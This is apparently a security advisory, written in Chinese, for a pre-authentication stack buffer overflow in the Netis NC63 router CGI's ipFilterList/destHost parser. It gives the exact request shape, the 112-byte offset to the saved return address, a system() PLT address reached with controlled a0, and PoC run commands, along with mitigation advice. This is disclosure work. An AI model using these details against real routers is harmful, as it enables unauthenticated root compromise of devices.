skk_set.cgi ipFilterList 处理器中通过 sscanf %[^,] 导致的无需认证的预认证栈缓冲区溢出研究人员: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 固件 V3.0.0.3327 中的通用 MIB/值解析器在解析 ipFilterList 的 destHost 字段时使用了两个 %[^,] 扫描集,但没有最大字段宽度。每次转换都会写入一个 16 字节的局部栈缓冲区。因此,直接 HTTP 客户端可以提交一个不含逗号的长组件,从而覆盖该函数已保存的控制数据。
对于动态测试的第二个 destHost 组件,已保存的 ra 距局部缓冲区恰好 112 字节。针对原始哈希 CGI 的 QEMU 跟踪确认了攻击者选择的第三次进入发生在 0x0040f7f4。另一次仅观察的测试将返回重定向到位于 0x00423ab0 的原始 system() PLT 路径,同时保留攻击者控制的请求数据作为确切的 MIPS a0 参数。一个受保护的 /bin/sh 记录了标记但未执行任何命令。
公开 PoC 刻意只包含一个超长的 B 模式。它不包含私有的控制转移值或命令边界构造。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

厂商前端将 srcHost 和 destHost 构建为三个以逗号分隔的组件,并通过 ipFilterList 将其 POST 到 /cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

已验证的 HTTP 形态 CGI 请求不包含 Cookie 或 Authorization 头。/tmp/boa_auth 不存在,但执行仍继续进入 ipFilterList=mod 与 destHost 解析路径。内存破坏缺陷在于 FUN_0040f7f4 中的无宽度扫描集;而更广泛的 CGI 授权失败,则是导致该特权处理器在预认证阶段暴露的条件。

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
原始 libapmib.so 元数据将 srcHost 和 destHost 都映射到类型 0x0c,该类型会选择此解析器分支。动态验证使用 destHost 执行;srcHost 作为同一解析器的静态覆盖范围被纳入,而非单独的动态声明。

规范化后的 Ghidra 反编译伪代码:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() 本身并不是漏洞所在。缺陷在于 %[^,] 没有最大字段宽度,因此 sscanf 并不知道每个目标缓冲区只有 16 字节。感知缓冲区容量的格式应使用诸如 %15[^,] 的宽度,验证恰好三次转换成功,然后再校验解析出的地址值。这只是示例性的缓解措施,并非厂商补丁。
FUN_0040f7f4 起始地址为 0x0040f7f4,创建了一个 0x1d0 字节的栈帧:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
类型 0x0c 的目标缓冲区位于 fp+0x14c 和 fp+0x15c。已保存的 ra 位于 fp+0x1cc,因此与第二个缓冲区之间的确切距离为:
0x1cc - 0x15c = 0x70 = 112 bytes

隔离的 PC 证明使用了 112 个填充字节,后接 0x0040f7f4 的三个低位小端字节;第四个零字节由 sscanf 的终止符提供。QEMU 观察到两次普通解析器进入,随后因返回地址被覆盖而出现第三次进入:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

另一次独立的私有验证构造了已保存的 ra=0x00423ab0,即原始二进制文件的 system() PLT 路径。返回时,一个受控制的请求键后缀仍保留在 MIPS a0 中。该一次性运行环境将 /bin/sh 替换为一个静态记录器:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
这就在隔离的生产代码路径中建立了一个 RCE 原语。物理路由器上的确切利用可靠性、内核随机化行为以及默认 WAN 暴露情况均未经过测试。
受测 netis.cgi 与生产工件逐字节相同。由于 qemu-user 中无法使用 flash 支持的 MIB 状态,一次性 rootfs 采用了一个已披露、仅限实验室使用的 libapmib.so 适配方案,该方案分配了清零的 MIB 状态,并调整了一个打包字段的对齐。它没有改动 CGI、请求解析器、易受攻击的 sscanf、栈帧、已保存返回地址的偏移、函数尾声或 system() 路径。静态元数据来自原始厂商的 libapmib.so。
原始可执行文件为固定基址,没有栈金丝雀(stack canary)和 RELRO,并且具有可执行栈和 RWX 段。这些属性有助于可利用性分析,但不能替代动态 PC 测试和受保护边界测试。

试运行生成 URL 编码的请求体:
python3 poc/poc.py
显式发送到已授权的临时目标:
python3 poc/poc.py --target http://192.168.1.1 --send
公开脚本使用一个 115 字节的 B 组件来演示溢出条件。发送它可能会导致 CGI 进程崩溃。其中不包含命令字符串、shellcode、返回到 system 的地址、反向 shell 或持久化机制。
成功利用可在路由器管理上下文中执行攻击者选择的命令。原始 Boa 配置以 root 身份运行 CGI。潜在后果包括路由器配置与机密泄露、DNS/防火墙/路由操纵、流量重定向、服务中断以及设备完全失陷。
%15[^,],并要求三次转换全部成功。%s 和 %[...]。参见 evidence/README.md。规范化伪代码和指令证据位于 attachments/decompiled-functions/ 下。
CVE-2026-76071 并授权公开披露。未对任何物理路由器刷写固件。未使用任何真实命令、shellcode、反向 shell、持久化机制、外部网络连接或破坏性操作。